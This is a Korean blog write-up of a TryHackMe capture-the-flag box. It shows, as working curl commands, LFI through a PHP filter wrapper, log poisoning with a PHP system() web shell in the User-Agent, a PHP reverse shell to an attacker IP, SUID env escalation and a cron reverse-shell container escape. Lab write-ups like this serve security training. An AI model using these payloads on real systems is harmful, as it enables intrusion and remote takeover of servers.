모든포트를 짧게 한번 스캔하면 ssh 랑 http 가 open 인것을 확인 가능함
메인페이지이며 curl 로 요청을 보내보면 Apache 를 사용중이며 서버사이드언어는 PHP 임을 확인 가능함
dog 나 cat 버튼을 누르면 URL 에 view 이름의 쿼리파람과 값으로 dog 이 설정됨을 볼 수 있다.
여기서 바로 눈치챌수 있는것은 LFI / RFI Vuln 이다.
대부분의 PHP 소스에는 require 이나 include 가 최상단에 들어가는데, 이부분에 들어가는값을 검증해주지않으면 취약점이발생함. 아래 사진은 dog 혹은 cat 이라는 값말고 다른 값을 넣어 오류를 유도한 사진임. 오류를 보면 view 쿼리파람에 준값에 .php 확장자가 붙어 실행됨을 유추 가능하다.
브라우저로 요청보내기 귀찮아서 cli 로 옮겼다. LFI / RFI 에서 사용될 수 있는 기술은 아래와같이 PHP Wrapper 를 사용하는 것이다. 아래 사진은 dog.php 의 소스코드를 base64 로 인코딩한 값을 유출시킨것이다. 이 인코딩된 값을 디코딩하면 dog.php 의 소스코드가 나오는데, 이소스코드르 보면 img 태그의 src 속성에 dogs/ 가 있다. 이 뜻은 이미지를 갖고올 떄 dogs 경로를 포함한다는 것이다.
다시 Php wrapper 로 index 페이지의 소스코드르 가져오면 아래와같다. 디코딩된 소스코드를 보면 view 쿼리파람 말고
ext 로 확인하고 있음을 확인 가능하다. 이 ext 파람이 있을 경우, ext 파람값으로 확장자를 설정하는 것이다. 또한, view 값으로 dog 와 cat 이 들어가지않으면 Sorry, only dogs or cats are allowed 가 뜨는것이다.
즉, view 파람에는 dog 나 cat 이 들어가되, ext 파람을 설정하여 매번 확장자가 php 로 실행되지 않게 해야한다.
소스코드르 분석한대로 view 값으로 dog 문자가 들어가게하면서 ext 파람에는 확장자로 들어갈 문자열을 명시해주면 예를들어 /etc/passwd 값을 뺼 수 있다.
여기서 한가지 응용이 가능한것은 사전에 Apache 를 사용함을 알았기 떄무넹 apache 의 디폴트 로그파일을 얻어와서 확인할수있는데, 로그파일에는 요청 Method 와 User-Agent 가 뜨게되는데, 이를 이용하여 RCE 가 가능하다.
$curl 'http://10.10.35.132/?view=php://filter/convert.base64-encode|convert.base64-decode/resource=dog/../../../../..&ext=/var/log/apache2/access.log'
curl 의 -A 옵션으로 User-Agent 를 지정해준다음에 로그파일에 요청을 보내면 access.log 파일에 설정한 USer-agent 값이 기록되게 된다.
$curl -A 'This IS USER-AGENT' 'http://10.10.35.132/?view=php://filter/convert.base64-encode|convert.base64-decode/resource=dog/../../../../..&ext=/var/log/apache2/access.log'
User-Agent 값으로 php 소스코드를 삽입하면 오류가났지만 php 코드가 실행됬음을 확인가능하다.
RCE 가 가능하다는 것이다.
$curl -A '<?php system($_REQUEST['cmd']); ?>' 'http://10.10.35.132/?view=php://filter/convert.base64-encode|convert.base64-decode/resource=dog/../../../../..&ext=/var/log/apache2/access.log'
이게 cmd 파람에 원격실행할 명령어를 입력해주면된다. 정상적으로 ls 가 실행됨을 확인 가능하다.
$curl -A '<?php system($_REQUEST['cmd']); ?>' 'http://10.10.35.132/?view=php://filter/convert.base64-encode|convert.base64-decode/resource=dog/../../../../..&ext=/var/log/apache2/access.log
&cmd=ls'
이를 이용해서 첫번째 flag 를 얻자.
$curl -A '<?php system($_REQUEST['cmd']); ?>' 'http://10.10.35.132/?view=php://filter/convert.base64-encode|convert.base64-decode/resource=dog/../../../../..&ext=/var/log/apache2/access.log
&cmd=cat+flag.php'
이번에는 php one line reverseshell 을 연결하자. php 쉘코드를 URL 인코딩시키고 cmd 파라미터의 값으로 요청을 보내면 쉘 연결이 가능하다.
$urlencode "php -r '\$sock=fsockopen(\"10.9.31.151\",9000);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
php+-r+%27%24sock%3Dfsockopen%28%2210.9.31.151%22%2C9000%29%3Bexec%28%22%2Fbin%2Fsh+-i+%3C%263+%3E%263+2%3E%263%22%29%3B%27
$curl -A '<?php system($_REQUEST['cmd']); ?>' 'http://10.10.35.132/?view=php://filter/convert.base64-encode|convert.base64-decode/resource=dog/../../../../..&ext=/var/log/apache2/access.log
&cmd=php+-r+%27%24sock%3Dfsockopen%28%2210.9.31.151%22%2C9000%29%3Bexec%28%22%2Fbin%2Fsh+-i+%3C%263+%3E%263+2%3E%263%22%29%3B%27'
쉘 연결후 상위디렉터리로 이동하면 flag 2 를 얻을 수 있다.
권한상승으로 위해 suid 설정된 파일을 찾으면 env 파일이 나온다.
여태 해왔듯이 gtfobin 에서 env 을 검색하면 악용할수있는 방법들이 나온다.
https://gtfobins.github.io/gtfobins/env/#suid
env | GTFOBins
.. / env Shell SUID Sudo Shell It can be used to break out from restricted environments by spawning an interactive system shell. SUID If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system,
gtfobins.github.io
root 쉘을 얻고 flag3을 얻을 수 있다.
그리고 /root 경로에 보면 .dockerenv 라는 숨김파일이 있으며, /opt 경로에 backup 폴더가 있다. backup 폴더 안에는
cron 에서 실행할 것만 같은 쉘스크립트가 존재하게되는데 이파일에 bash 리버스쉘 코드를 삽입해준다.
그리고 포트열고 바인딩하고있으면 cron 에 의해 쉘이 연결된다 여기서 flag4 를 획득가능하다.
'TryHackMe' 카테고리의 다른 글
marketplace (0) | 2023.01.15 |
---|---|
Git Happens (0) | 2023.01.13 |
tomghost (1) | 2023.01.13 |
MrRobot (0) | 2023.01.10 |
overpass3 (0) | 2023.01.07 |